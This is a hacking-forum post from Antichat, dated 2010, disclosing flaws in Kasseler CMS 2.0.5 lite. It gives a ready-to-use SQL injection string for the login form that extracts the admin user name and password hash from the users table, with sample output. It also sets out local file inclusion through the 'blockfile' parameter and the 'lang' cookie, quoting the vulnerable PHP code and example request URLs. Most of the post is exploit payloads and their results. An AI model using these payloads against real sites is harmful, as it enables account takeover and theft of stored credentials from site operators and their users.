Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

04.04.2010, 02:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Продолжение...
Продукт: Kasseler CMS
Версия: 2.0.5 lite
Недостаток в том что файл admin.php надо искать!
В рекомендациях по установке указано что
3. В целях безопасности измените стандартное название у файла admin.php и пропишите название нового файла admin.php в файле includes/config/config.php
такая строчка 'adminfile' => 'admin.php'
Также есть SQL inj в модуле:
Account – Модуль профиль пользователя в части представления который всегда доступен!
Условие: mg=off
линк:
Код:
http://site/index.php?module=account&do=login
includes/function/kernel.php
Алгоритм хеша - md5 и никакой соли!
PHP код:
...
function pass_crypt($string){
return md5($string);
}...
Result:
Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
поле логин:
' or (1,2)=(select * from(select name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1),name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1))x)/*
пасс:
любой
По умолчанию 2 запись в таблице это запись админа,1- гостя, далее в зависимости какими правами наделен пользователь!
Посмотреть версию (для текущей!):
http://site/index.php?system=version
LFI
includes/function/init.php
PHP код:
...//Фильтрация GET массива
if(!$main->mod_rewrite AND !isset($_GET['mod_rewrite'])){
foreach($_GET as $name=>$value){
if(!is_array($value)){
if(preg_match('/(\.\.\/|[\'"]|<|>|\(+)/s', $value)) kr_http_ereor_logs("403");
$_GET[$name] = strip_tags($value);
}
}...
index.php
PHP код:
...} elseif(kr_file_exists("blocks/{$_GET['blockfile']}")) require_once "blocks/{$_GET['blockfile']}";...
includes/function/xining.php
PHP код:
...
function kr_file_exists($file){
return file_exists($file);
}...
Result:
http://kasseler/index.php?blockfile= [LFI]
Example:
http://kasseler/index.php?blockfile=..\robots.txt
Условие:
OS WIN , "\"
Пути, они есть и у других файлах:
передаем куками:
lang=
them=
на вторую переменную код не привожу!
include/function/init.php
PHP код:
...//Определение языкового файла
get_language();
//Подключение графических элементов систем
(isset($main->tpl) AND kr_file_exists("templates/{$main->tpl}/{$language}/images.php")) ? require_once "templates/{$main->tpl}/{$language}/images.php" : require_once "includes/language/{$language}/images.php";...
include/function/gets.php
PHP код:
...function get_language(){
global $config, $userinfo, $language, $module_name, $lang;
$lang = array();
if(isset($_COOKIE['lang']) AND kr_file_exists("includes/language/{$_COOKIE['lang']}/")) $language = $_COOKIE['lang'];
else $language = empty($userinfo['user_language']) ? $config['language'] : $userinfo['user_language'];
foreach(load_includes('lang*?\.php', "includes/language/{$language}/") as $filename) {
$tpl_lang = $lang;
require_once $filename;
$lang += $tpl_lang;
}...
Вот такая(если загнать ../../../):
Ошибка - require_once(includes/language/../../..//images.php): failed to open stream: No such file or directory in Z:\home\kasseler\www\includes\function\init.php on line 146
У кого получиться експлутировать LFI - пишите, тестил но не получилось!
Последний раз редактировалось Strilo4ka; 04.04.2010 в 08:28..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|